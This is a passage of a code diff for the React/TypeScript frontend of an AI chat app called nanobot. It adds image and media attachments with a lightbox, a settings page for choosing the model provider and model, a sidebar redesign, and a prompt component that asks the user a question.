onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
go(1);
|
||||
}}
|
||||
/>
|
||||
<div className="pointer-events-none absolute bottom-5 left-1/2 -translate-x-1/2 rounded-full bg-black/55 px-3 py-1 text-xs font-medium text-white/90 tabular-nums">
|
||||
{counter}
|
||||
</div>
|
||||
</>
|
||||
) : null}
|
||||
|
||||
<DialogPrimitive.Close
|
||||
aria-label={t("lightbox.close")}
|
||||
className={cn(
|
||||
"absolute right-4 top-4 grid h-9 w-9 place-items-center rounded-full",
|
||||
"bg-black/55 text-white/90 hover:bg-black/70 hover:text-white",
|
||||
"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/70",
|
||||
"transition-colors motion-reduce:transition-none",
|
||||
)}
|
||||
>
|
||||
<X className="h-4 w-4" aria-hidden />
|
||||
</DialogPrimitive.Close>
|
||||
|
||||
{/* Invisible preload — browser decodes adjacent images so prev/next swap is instant. */}
|
||||
<div aria-hidden className="hidden">
|
||||
{preload.map((img, i) => (
|
||||
<img key={`${img.url}-${i}`} src={img.url} alt="" />
|
||||
))}
|
||||
</div>
|
||||
</DialogPrimitive.Content>
|
||||
</DialogPrimitive.Portal>
|
||||
</DialogPrimitive.Root>
|
||||
);
|
||||
}
|
||||
|
||||
interface NavButtonProps {
|
||||
side: "left" | "right";
|
||||
label: string;
|
||||
onClick: React.MouseEventHandler<HTMLButtonElement>;
|
||||
}
|
||||
|
||||
function NavButton({ side, label, onClick }: NavButtonProps) {
|
||||
const Icon = side === "left" ? ChevronLeft : ChevronRight;
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
onClick={onClick}
|
||||
aria-label={label}
|
||||
className={cn(
|
||||
"absolute top-1/2 -translate-y-1/2 grid h-11 w-11 place-items-center rounded-full",
|
||||
"bg-black/55 text-white/90 hover:bg-black/70 hover:text-white",
|
||||
"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-white/70",
|
||||
"transition-colors motion-reduce:transition-none",
|
||||
side === "left" ? "left-4" : "right-4",
|
||||
)}
|
||||
>
|
||||
<Icon className="h-5 w-5" aria-hidden />
|
||||
</button>
|
||||
);
|
||||
}
|
||||
@@ -1,10 +1,11 @@
|
||||
import { useState } from "react";
|
||||
import { ChevronRight, Wrench } from "lucide-react";
|
||||
import { ChevronRight, FileIcon, ImageIcon, PlaySquare, Wrench } from "lucide-react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
|
||||
import { ImageLightbox } from "@/components/ImageLightbox";
|
||||
import { MarkdownText } from "@/components/MarkdownText";
|
||||
import { cn } from "@/lib/utils";
|
||||
import type { UIMessage } from "@/lib/types";
|
||||
import type { UIImage, UIMediaAttachment, UIMessage } from "@/lib/types";
|
||||
|
||||
interface MessageBubbleProps {
|
||||
message: UIMessage;
|
||||
@@ -27,27 +28,38 @@ export function MessageBubble({ message }: MessageBubbleProps) {
|
||||
}
|
||||
|
||||
if (message.role === "user") {
|
||||
const images = message.images ?? [];
|
||||
const media = message.media ?? [];
|
||||
const hasImages = images.length > 0;
|
||||
const hasMedia = media.length > 0;
|
||||
const hasText = message.content.trim().length > 0;
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
"group ml-auto flex max-w-[min(85%,36rem)] items-center gap-2",
|
||||
"group ml-auto flex max-w-[min(85%,36rem)] flex-col items-end gap-1.5",
|
||||
baseAnim,
|
||||
)}
|
||||
>
|
||||
<p
|
||||
className={cn(
|
||||
"ml-auto w-fit rounded-[18px] border border-border/60 bg-secondary/70 px-4 py-2",
|
||||
"text-right text-[18px]/[1.8] whitespace-pre-wrap break-words",
|
||||
"shadow-[0_10px_24px_-18px_rgba(0,0,0,0.55)]",
|
||||
)}
|
||||
>
|
||||
{message.content}
|
||||
</p>
|
||||
{hasImages ? <UserImages images={images} align="right" /> : null}
|
||||
{!hasImages && hasMedia ? (
|
||||
<MessageMedia media={media} align="right" />
|
||||
) : null}
|
||||
{hasText ? (
|
||||
<p
|
||||
className={cn(
|
||||
"ml-auto w-fit rounded-[18px] bg-secondary/70 px-4 py-2",
|
||||
"text-left text-[18px]/[1.8] whitespace-pre-wrap break-words",
|
||||
)}
|
||||
>
|
||||
{message.content}
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const empty = message.content.trim().length === 0;
|
||||
const media = message.media ?? [];
|
||||
return (
|
||||
<div className={cn("w-full text-sm", baseAnim)} style={{ lineHeight: "var(--cjk-line-height)" }}>
|
||||
{empty && message.isStreaming ? (
|
||||
@@ -56,12 +68,208 @@ export function MessageBubble({ message }: MessageBubbleProps) {
|
||||
<>
|
||||
<MarkdownText>{message.content}</MarkdownText>
|
||||
{message.isStreaming && <StreamCursor />}
|
||||
{media.length > 0 ? <MessageMedia media={media} align="left" /> : null}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function MessageMedia({
|
||||
media,
|
||||
align,
|
||||
}: {
|
||||
media: UIMediaAttachment[];
|
||||
align: "left" | "right";
|
||||
}) {
|
||||
if (media.length === 0) return null;
|
||||
const images = media
|
||||
.filter((item) => item.kind === "image")
|
||||
.map(({ url, name }) => ({ url, name }));
|
||||
const nonImages = media.filter((item) => item.kind !== "image");
|
||||
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
"mt-2 flex flex-wrap gap-2",
|
||||
align === "right" ? "justify-end" : "justify-start",
|
||||
)}
|
||||
>
|
||||
{images.length > 0 ? <UserImages images={images} align={align} /> : null}
|
||||
{nonImages.map((item, i) => (
|
||||
<MediaCell key={`${item.url ?? item.name ?? item.kind}-${i}`} media={item} />
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function MediaCell({ media }: { media: UIMediaAttachment }) {
|
||||
const { t } = useTranslation();
|
||||
const hasUrl = typeof media.url === "string" && media.url.length > 0;
|
||||
|
||||
if (media.kind === "video" && hasUrl) {
|
||||
return (
|
||||
<figure className="max-w-[min(100%,32rem)] overflow-hidden rounded-[14px] border border-border/60 bg-muted/40">
|
||||
<video
|
||||
src={media.url}
|
||||
controls
|
||||
preload="metadata"
|
||||
className="block max-h-[26rem] w-full bg-black"
|
||||
aria-label={media.name ? `${t("message.videoAttachment", { defaultValue: "Video attachment" })}: ${media.name}` : t("message.videoAttachment", { defaultValue: "Video attachment" })}
|
||||
/>
|
||||
{media.name ? (
|
||||
<figcaption className="truncate px-3 py-1.5 text-[11.5px] text-muted-foreground">
|
||||
{media.name}
|
||||
</figcaption>
|
||||
) : null}
|
||||
</figure>
|
||||
);
|
||||
}
|
||||
|
||||
const label =
|
||||
media.kind === "video"
|
||||
? t("message.videoAttachment", { defaultValue: "Video attachment" })
|
||||
: t("message.fileAttachment", { defaultValue: "File attachment" });
|
||||
const Icon = media.kind === "video" ? PlaySquare : FileIcon;
|
||||
|
||||
return (
|
||||
<div
|
||||
className="flex max-w-[18rem] items-center gap-2 rounded-[14px] border border-border/60 bg-muted/40 px-3 py-2 text-xs text-muted-foreground"
|
||||
title={media.name ?? undefined}
|
||||
aria-label={label}
|
||||
>
|
||||
<Icon className="h-4 w-4 flex-none" aria-hidden />
|
||||
<span className="truncate">{media.name ?? label}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Right-aligned preview row for images attached to a user turn.
|
||||
*
|
||||
* Visual follows agent-chat-ui: a single wrapping row of fixed-size square
|
||||
* thumbnails that stay modest next to the text pill regardless of how many
|
||||
* images are attached.
|
||||
*
|
||||
* The URL is expected to be a self-contained ``data:`` URL (the Composer
|
||||
* hands the normalized base64 payload to the optimistic bubble so that the
|
||||
* preview survives React StrictMode double-mount — blob URLs would be
|
||||
* revoked by the Composer's cleanup before remount). Historical replays
|
||||
* have no URL (the backend strips data URLs before persisting), so we
|
||||
* render a labelled placeholder tile instead of a broken ``<img>``.
|
||||
*/
|
||||
function UserImages({
|
||||
images,
|
||||
align = "right",
|
||||
}: {
|
||||
images: UIImage[];
|
||||
align?: "left" | "right";
|
||||
}) {
|
||||
const { t } = useTranslation();
|
||||
// Only real-URL images can open in the lightbox; historical-replay
|
||||
// placeholders (no URL) have nothing to zoom into.
|
||||
const viewable = images
|
||||
.map((img, i) => ({ img, i }))
|
||||
.filter(({ img }) => typeof img.url === "string" && img.url.length > 0);
|
||||
const viewableImages = viewable.map(({ img }) => img);
|
||||
const originalToViewable = new Map<number, number>(
|
||||
viewable.map(({ i }, v) => [i, v]),
|
||||
);
|
||||
|
||||
const [lightboxIndex, setLightboxIndex] = useState<number | null>(null);
|
||||
|
||||
return (
|
||||
<>
|
||||
<div
|
||||
className={cn(
|
||||
"flex flex-wrap items-end gap-2",
|
||||
align === "right" ? "ml-auto justify-end" : "mr-auto justify-start",
|
||||
)}
|
||||
>
|
||||
{images.map((img, i) => (
|
||||
<UserImageCell
|
||||
key={`${img.url ?? "placeholder"}-${i}`}
|
||||
image={img}
|
||||
placeholderLabel={t("message.imageAttachment")}
|
||||
openLabel={t("lightbox.open")}
|
||||
onOpen={
|
||||
originalToViewable.has(i)
|
||||
? () => setLightboxIndex(originalToViewable.get(i)!)
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
<ImageLightbox
|
||||
images={viewableImages}
|
||||
index={lightboxIndex}
|
||||
onIndexChange={setLightboxIndex}
|
||||
onOpenChange={(open) => {
|
||||
if (!open) setLightboxIndex(null);
|
||||
}}
|
||||
/>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
function UserImageCell({
|
||||
image,
|
||||
placeholderLabel,
|
||||
openLabel,
|
||||
onOpen,
|
||||
}: {
|
||||
image: UIImage;
|
||||
placeholderLabel: string;
|
||||
openLabel: string;
|
||||
onOpen?: () => void;
|
||||
}) {
|
||||
const hasUrl = typeof image.url === "string" && image.url.length > 0;
|
||||
const tileClasses = cn(
|
||||
"relative h-24 w-24 overflow-hidden rounded-[14px] border border-border/60 bg-muted/40",
|
||||
"shadow-[0_6px_18px_-14px_rgba(0,0,0,0.45)]",
|
||||
);
|
||||
|
||||
if (hasUrl && onOpen) {
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
onClick={onOpen}
|
||||
aria-label={image.name ? `${openLabel}: ${image.name}` : openLabel}
|
||||
title={image.name ?? undefined}
|
||||
className={cn(
|
||||
tileClasses,
|
||||
"cursor-zoom-in transition-transform duration-150 motion-reduce:transition-none",
|
||||
"hover:scale-[1.02] hover:ring-2 hover:ring-primary/30",
|
||||
"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-primary/50",
|
||||
)}
|
||||
>
|
||||
<img
|
||||
src={image.url}
|
||||
alt={image.name ?? ""}
|
||||
loading="lazy"
|
||||
decoding="async"
|
||||
draggable={false}
|
||||
className="h-full w-full object-cover"
|
||||
/>
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className={tileClasses} title={image.name ?? undefined}>
|
||||
<div
|
||||
className="flex h-full w-full flex-col items-center justify-center gap-1 px-2 text-[11px] text-muted-foreground"
|
||||
aria-label={placeholderLabel}
|
||||
>
|
||||
<ImageIcon className="h-4 w-4 flex-none" aria-hidden />
|
||||
<span className="line-clamp-2 text-center leading-tight">
|
||||
{image.name ?? placeholderLabel}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** Blinking cursor appended at the end of streaming text. */
|
||||
function StreamCursor() {
|
||||
const { t } = useTranslation();
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
import { Moon, PanelLeftClose, Plus, RefreshCcw, Sun } from "lucide-react";
|
||||
import { Moon, PanelLeftClose, RefreshCcw, Settings, SquarePen, Sun } from "lucide-react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
|
||||
import { ChatList } from "@/components/ChatList";
|
||||
import { ConnectionBadge } from "@/components/ConnectionBadge";
|
||||
import { LanguageSwitcher } from "@/components/LanguageSwitcher";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Separator } from "@/components/ui/separator";
|
||||
import type { ChatSummary } from "@/lib/types";
|
||||
@@ -19,48 +18,60 @@ interface SidebarProps {
|
||||
onRefresh: () => void;
|
||||
onRequestDelete: (key: string, label: string) => void;
|
||||
onCollapse: () => void;
|
||||
activeView?: "chat" | "settings";
|
||||
onOpenSettings: () => void;
|
||||
}
|
||||
|
||||
export function Sidebar(props: SidebarProps) {
|
||||
const { t } = useTranslation();
|
||||
return (
|
||||
<aside className="flex h-full w-full flex-col border-r border-sidebar-border/70 bg-sidebar text-sidebar-foreground">
|
||||
<div className="flex items-center justify-between px-2 py-2">
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
aria-label={t("sidebar.collapse")}
|
||||
onClick={props.onCollapse}
|
||||
className="h-7 w-7 rounded-lg text-muted-foreground hover:bg-sidebar-accent hover:text-sidebar-foreground"
|
||||
>
|
||||
<PanelLeftClose className="h-3.5 w-3.5" />
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
aria-label={t("sidebar.toggleTheme")}
|
||||
onClick={props.onToggleTheme}
|
||||
className="h-7 w-7 rounded-lg text-muted-foreground hover:bg-sidebar-accent hover:text-sidebar-foreground"
|
||||
>
|
||||
{props.theme === "dark" ? (
|
||||
<Sun className="h-3.5 w-3.5" />
|
||||
) : (
|
||||
<Moon className="h-3.5 w-3.5" />
|
||||
)}
|
||||
</Button>
|
||||
<div className="flex items-center justify-between px-3 pb-2 pt-3">
|
||||
<picture className="block min-w-0">
|
||||
<source srcSet="/brand/nanobot_logo.webp" type="image/webp" />
|
||||
<img
|
||||
src="/brand/nanobot_logo.png"
|
||||
alt="nanobot"
|
||||
className="h-7 w-auto select-none object-contain"
|
||||
draggable={false}
|
||||
/>
|
||||
</picture>
|
||||
<div className="flex items-center gap-0.5">
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
aria-label={t("sidebar.toggleTheme")}
|
||||
onClick={props.onToggleTheme}
|
||||
className="h-7 w-7 rounded-lg text-muted-foreground hover:bg-sidebar-accent hover:text-sidebar-foreground"
|
||||
>
|
||||
{props.theme === "dark" ? (
|
||||
<Sun className="h-3.5 w-3.5" />
|
||||
) : (
|
||||
<Moon className="h-3.5 w-3.5" />
|
||||
)}
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
aria-label={t("sidebar.collapse")}
|
||||
onClick={props.onCollapse}
|
||||
className="h-7 w-7 rounded-lg text-muted-foreground hover:bg-sidebar-accent hover:text-sidebar-foreground"
|
||||
>
|
||||
<PanelLeftClose className="h-3.5 w-3.5" />
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
<div className="px-2 pb-2.5">
|
||||
<div className="px-2 pb-2">
|
||||
<Button
|
||||
onClick={props.onNewChat}
|
||||
className="h-8.5 w-full justify-start gap-2 rounded-lg border border-sidebar-border/80 bg-card/25 px-3 text-[13px] font-medium text-sidebar-foreground shadow-none hover:bg-sidebar-accent/80"
|
||||
variant="outline"
|
||||
className="h-9 w-full justify-start gap-2 rounded-full px-3 text-[13px] font-medium text-sidebar-foreground/90 hover:bg-sidebar-accent hover:text-sidebar-foreground"
|
||||
variant="ghost"
|
||||
>
|
||||
<Plus className="h-3.5 w-3.5" />
|
||||
<SquarePen className="h-3.5 w-3.5" />
|
||||
{t("sidebar.newChat")}
|
||||
</Button>
|
||||
</div>
|
||||
<Separator className="bg-sidebar-border/70" />
|
||||
<div className="flex items-center justify-between px-2.5 py-2 text-[11px] font-medium text-muted-foreground">
|
||||
<div className="flex items-center justify-between px-3 pb-1.5 pt-2.5 text-[11px] font-medium text-muted-foreground">
|
||||
<span>{t("sidebar.recent")}</span>
|
||||
<Button
|
||||
variant="ghost"
|
||||
@@ -81,10 +92,17 @@ export function Sidebar(props: SidebarProps) {
|
||||
onRequestDelete={props.onRequestDelete}
|
||||
/>
|
||||
</div>
|
||||
<Separator className="bg-sidebar-border/70" />
|
||||
<Separator className="bg-sidebar-border/50" />
|
||||
<div className="flex items-center justify-between gap-2 px-2.5 py-2 text-xs">
|
||||
<ConnectionBadge />
|
||||
<LanguageSwitcher />
|
||||
<Button
|
||||
onClick={props.onOpenSettings}
|
||||
className="h-7 gap-1.5 rounded-md px-2 text-[11px] text-muted-foreground hover:bg-sidebar-accent hover:text-sidebar-foreground"
|
||||
variant={props.activeView === "settings" ? "secondary" : "ghost"}
|
||||
>
|
||||
<Settings className="h-3.5 w-3.5" />
|
||||
Settings
|
||||
</Button>
|
||||
</div>
|
||||
</aside>
|
||||
);
|
||||
|
||||
@@ -0,0 +1,245 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from "react";
|
||||
import { ChevronLeft, Loader2 } from "lucide-react";
|
||||
|
||||
import { LanguageSwitcher } from "@/components/LanguageSwitcher";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { fetchSettings, updateSettings } from "@/lib/api";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { useClient } from "@/providers/ClientProvider";
|
||||
import type { SettingsPayload } from "@/lib/types";
|
||||
|
||||
interface SettingsViewProps {
|
||||
theme: "light" | "dark";
|
||||
onToggleTheme: () => void;
|
||||
onBackToChat: () => void;
|
||||
onModelNameChange: (modelName: string | null) => void;
|
||||
}
|
||||
|
||||
export function SettingsView({
|
||||
onBackToChat,
|
||||
onModelNameChange,
|
||||
}: SettingsViewProps) {
|
||||
const { token } = useClient();
|
||||
const [settings, setSettings] = useState<SettingsPayload | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [saving, setSaving] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [form, setForm] = useState({
|
||||
model: "",
|
||||
provider: "auto",
|
||||
});
|
||||
|
||||
const applyPayload = useCallback((payload: SettingsPayload) => {
|
||||
setSettings(payload);
|
||||
setForm({
|
||||
model: payload.agent.model,
|
||||
provider: payload.agent.provider,
|
||||
});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
setLoading(true);
|
||||
fetchSettings(token)
|
||||
.then((payload) => {
|
||||
if (!cancelled) {
|
||||
applyPayload(payload);
|
||||
setError(null);
|
||||
}
|
||||
})
|
||||
.catch((err) => {
|
||||
if (!cancelled) setError((err as Error).message);
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [applyPayload, token]);
|
||||
|
||||
const dirty = useMemo(() => {
|
||||
if (!settings) return false;
|
||||
return (
|
||||
form.model !== settings.agent.model ||
|
||||
form.provider !== settings.agent.provider
|
||||
);
|
||||
}, [form, settings]);
|
||||
|
||||
const save = async () => {
|
||||
if (!dirty || saving) return;
|
||||
setSaving(true);
|
||||
try {
|
||||
const payload = await updateSettings(token, form);
|
||||
applyPayload(payload);
|
||||
onModelNameChange(payload.agent.model || null);
|
||||
setError(null);
|
||||
} catch (err) {
|
||||
setError((err as Error).message);
|
||||
} finally {
|
||||
setSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="min-h-0 flex-1 overflow-y-auto bg-background">
|
||||
<main className="mx-auto w-full max-w-[1000px] px-6 py-6">
|
||||
<button
|
||||
type="button"
|
||||
onClick={onBackToChat}
|
||||
className="mb-4 inline-flex items-center gap-1.5 text-xs font-medium text-muted-foreground hover:text-foreground"
|
||||
>
|
||||
<ChevronLeft className="h-3.5 w-3.5" />
|
||||
Back to chat
|
||||
</button>
|
||||
|
||||
<h1 className="mb-6 text-base font-semibold tracking-tight">General</h1>
|
||||
|
||||
{loading ? (
|
||||
<div className="flex h-48 items-center justify-center text-sm text-muted-foreground">
|
||||
<Loader2 className="mr-2 h-4 w-4 animate-spin" />
|
||||
Loading settings...
|
||||
</div>
|
||||
) : error ? (
|
||||
<SettingsGroup>
|
||||
<SettingsRow title="Could not load settings">
|
||||
<span className="max-w-[520px] text-sm text-muted-foreground">{error}</span>
|
||||
</SettingsRow>
|
||||
</SettingsGroup>
|
||||
) : settings ? (
|
||||
<SettingsSection
|
||||
form={form}
|
||||
setForm={setForm}
|
||||
settings={settings}
|
||||
dirty={dirty}
|
||||
saving={saving}
|
||||
onSave={save}
|
||||
/>
|
||||
) : null}
|
||||
</main>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SettingsSection({
|
||||
form,
|
||||
setForm,
|
||||
settings,
|
||||
dirty,
|
||||
saving,
|
||||
onSave,
|
||||
}: {
|
||||
form: {
|
||||
model: string;
|
||||
provider: string;
|
||||
};
|
||||
setForm: React.Dispatch<React.SetStateAction<{
|
||||
model: string;
|
||||
provider: string;
|
||||
}>>;
|
||||
settings: SettingsPayload;
|
||||
dirty: boolean;
|
||||
saving: boolean;
|
||||
onSave: () => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="space-y-7">
|
||||
<section>
|
||||
<h2 className="mb-2 px-2 text-xs font-medium text-muted-foreground">AI</h2>
|
||||
<SettingsGroup>
|
||||
<SettingsRow title="Provider">
|
||||
<select
|
||||
value={form.provider}
|
||||
onChange={(event) => setForm((prev) => ({ ...prev, provider: event.target.value }))}
|
||||
className={cn(
|
||||
"h-8 w-[210px] rounded-md border border-input bg-background px-2 text-sm",
|
||||
"outline-none transition-colors hover:bg-accent focus-visible:ring-2 focus-visible:ring-ring",
|
||||
)}
|
||||
>
|
||||
{settings.providers.map((provider) => (
|
||||
<option key={provider.name} value={provider.name}>
|
||||
{provider.label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</SettingsRow>
|
||||
|
||||
<SettingsRow title="Model">
|
||||
<Input
|
||||
value={form.model}
|
||||
onChange={(event) => setForm((prev) => ({ ...prev, model: event.target.value }))}
|
||||
className="h-8 w-[280px]"
|
||||
/>
|
||||
</SettingsRow>
|
||||
|
||||
{(dirty || saving || settings.requires_restart) ? (
|
||||
<SettingsFooter
|
||||
dirty={dirty}
|
||||
saving={saving}
|
||||
saved={settings.requires_restart && !dirty}
|
||||
onSave={onSave}
|
||||
/>
|
||||
) : null}
|
||||
</SettingsGroup>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="mb-2 px-2 text-xs font-medium text-muted-foreground">Interface</h2>
|
||||
<SettingsGroup>
|
||||
<SettingsRow title="Language">
|
||||
<LanguageSwitcher />
|
||||
</SettingsRow>
|
||||
</SettingsGroup>
|
||||
</section>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SettingsGroup({ children }: { children: React.ReactNode }) {
|
||||
return (
|
||||
<div className="overflow-hidden rounded-xl border border-border/60 bg-card/80">
|
||||
<div className="divide-y divide-border/50">{children}</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SettingsRow({
|
||||
title,
|
||||
children,
|
||||
}: {
|
||||
title: string;
|
||||
children?: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<div className="flex min-h-[52px] flex-col gap-3 px-3 py-2.5 sm:flex-row sm:items-center sm:justify-between">
|
||||
<div className="min-w-0">
|
||||
<div className="text-sm font-medium leading-5">{title}</div>
|
||||
</div>
|
||||
{children ? <div className="shrink-0 sm:ml-6">{children}</div> : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SettingsFooter({
|
||||
dirty,
|
||||
saving,
|
||||
saved,
|
||||
onSave,
|
||||
}: {
|
||||
dirty: boolean;
|
||||
saving: boolean;
|
||||
saved: boolean;
|
||||
onSave: () => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="flex min-h-[52px] items-center justify-between gap-4 px-3 py-2.5">
|
||||
<div className="text-sm text-muted-foreground">
|
||||
{saved ? "Saved. Restart nanobot to apply." : "Unsaved changes."}
|
||||
</div>
|
||||
<Button size="sm" variant="outline" onClick={onSave} disabled={!dirty || saving}>
|
||||
{saving ? "Saving" : "Save"}
|
||||
</Button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import { MessageSquareText } from "lucide-react";
|
||||
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
interface AskUserPromptProps {
|
||||
question: string;
|
||||
buttons: string[][];
|
||||
onAnswer: (answer: string) => void;
|
||||
}
|
||||
|
||||
export function AskUserPrompt({
|
||||
question,
|
||||
buttons,
|
||||
onAnswer,
|
||||
}: AskUserPromptProps) {
|
||||
const [customOpen, setCustomOpen] = useState(false);
|
||||
const [custom, setCustom] = useState("");
|
||||
const inputRef = useRef<HTMLTextAreaElement>(null);
|
||||
const options = buttons.flat().filter(Boolean);
|
||||
|
||||
useEffect(() => {
|
||||
if (customOpen) {
|
||||
inputRef.current?.focus();
|
||||
}
|
||||
}, [customOpen]);
|
||||
|
||||
const submitCustom = useCallback(() => {
|
||||
const answer = custom.trim();
|
||||
if (!answer) return;
|
||||
onAnswer(answer);
|
||||
setCustom("");
|
||||
setCustomOpen(false);
|
||||
}, [custom, onAnswer]);
|
||||
|
||||
if (options.length === 0) return null;
|
||||
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
"mx-auto mb-2 w-full max-w-[49.5rem] rounded-[16px] border border-primary/30",
|
||||
"bg-card/95 p-3 shadow-sm backdrop-blur",
|
||||
)}
|
||||
role="group"
|
||||
aria-label="Question"
|
||||
>
|
||||
<div className="mb-2 flex items-start gap-2">
|
||||
<div className="mt-0.5 rounded-full bg-primary/10 p-1.5 text-primary">
|
||||
<MessageSquareText className="h-3.5 w-3.5" aria-hidden />
|
||||
</div>
|
||||
<p className="min-w-0 flex-1 text-sm font-medium leading-5 text-foreground">
|
||||
{question}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="grid gap-1.5 sm:grid-cols-2">
|
||||
{options.map((option) => (
|
||||
<Button
|
||||
key={option}
|
||||
type="button"
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => onAnswer(option)}
|
||||
className="justify-start rounded-[10px] px-3 text-left"
|
||||
>
|
||||
<span className="truncate">{option}</span>
|
||||
</Button>
|
||||
))}
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={() => setCustomOpen((open) => !open)}
|
||||
className="justify-start rounded-[10px] px-3 text-muted-foreground"
|
||||
>
|
||||
Other...
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{customOpen ? (
|
||||
<div className="mt-2 flex gap-2">
|
||||
<textarea
|
||||
ref={inputRef}
|
||||
value={custom}
|
||||
onChange={(event) => setCustom(event.target.value)}
|
||||
onKeyDown={(event) => {
|
||||
if (event.key === "Enter" && !event.shiftKey && !event.nativeEvent.isComposing) {
|
||||
event.preventDefault();
|
||||
submitCustom();
|
||||
}
|
||||
}}
|
||||
rows={1}
|
||||
placeholder="Type your own answer..."
|
||||
className={cn(
|
||||
"min-h-9 flex-1 resize-none rounded-[10px] border border-border/70 bg-background",
|
||||
"px-3 py-2 text-sm leading-5 outline-none placeholder:text-muted-foreground",
|
||||
"focus-visible:ring-1 focus-visible:ring-primary/40",
|
||||
)}
|
||||
/>
|
||||
<Button type="button" size="sm" onClick={submitCustom} disabled={!custom.trim()}>
|
||||
Send
|
||||
</Button>
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user